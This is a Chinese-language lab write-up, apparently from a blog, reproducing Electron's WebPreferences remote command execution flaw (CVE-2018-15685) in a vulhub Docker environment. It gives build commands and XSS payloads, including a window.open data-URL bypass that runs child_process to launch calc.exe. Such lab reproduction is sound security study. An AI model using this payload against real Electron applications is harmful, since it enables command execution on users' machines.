vulhub

CVE-2018-15685

2019-08-18  本文已影响9人  3mi1e

Electron WebPreferences 远程命令执行漏洞(CVE-2018-15685)

1.漏洞影响版本

Electron版本(3.0.0-beta.6,2.0.7,1.8.7和1.7.15)

2.漏洞危害

远程命令执行

3.漏洞POC
cd /root/vulhub/electron/CVE-2018-15685                   //进入本次复现的漏洞目录

执行如下命令编译一个包含漏洞的应用:

docker-compose run -e PLATFORM=win64 --rm electron

其中PLATFORM的值是运行该应用的操作系统,可选项有:win64、win32、mac、linux。

编译完成后,再执行如下命令,启动web服务:

docker-compose run --rm -p 8080:80 web

此时,访问http://your-ip:8080/cve-2018-15685.tar.gz即可下载编译好的应用。
在本地打开应用:

打开应用

点击提交,输入框中的内容将会显示在应用中,显然这里存在一处XSS漏洞。

我们提交<img src=1 onerror="require('child_process').exec('calc.exe')">,发现没有任何反馈,原因就是nodeIntegration=false
此时,提交POC(Windows):

<img src=1 onerror="window.open().open('data:text/html,<script>require(\'child_process\').exec(\'calc.exe\')</script>');">

可见,calc.exe已成功弹出:

POC
4.复盘

漏洞出现原因
参考链接:
https://electronjs.org/blog/web-preferences-fix
https://www.contrastsecurity.com/security-influencers/cve-2018-15685
总结
十分抱歉,为我没有手动复现一次,npm暂时与我无缘。

上一篇 下一篇

猜你喜欢

热点阅读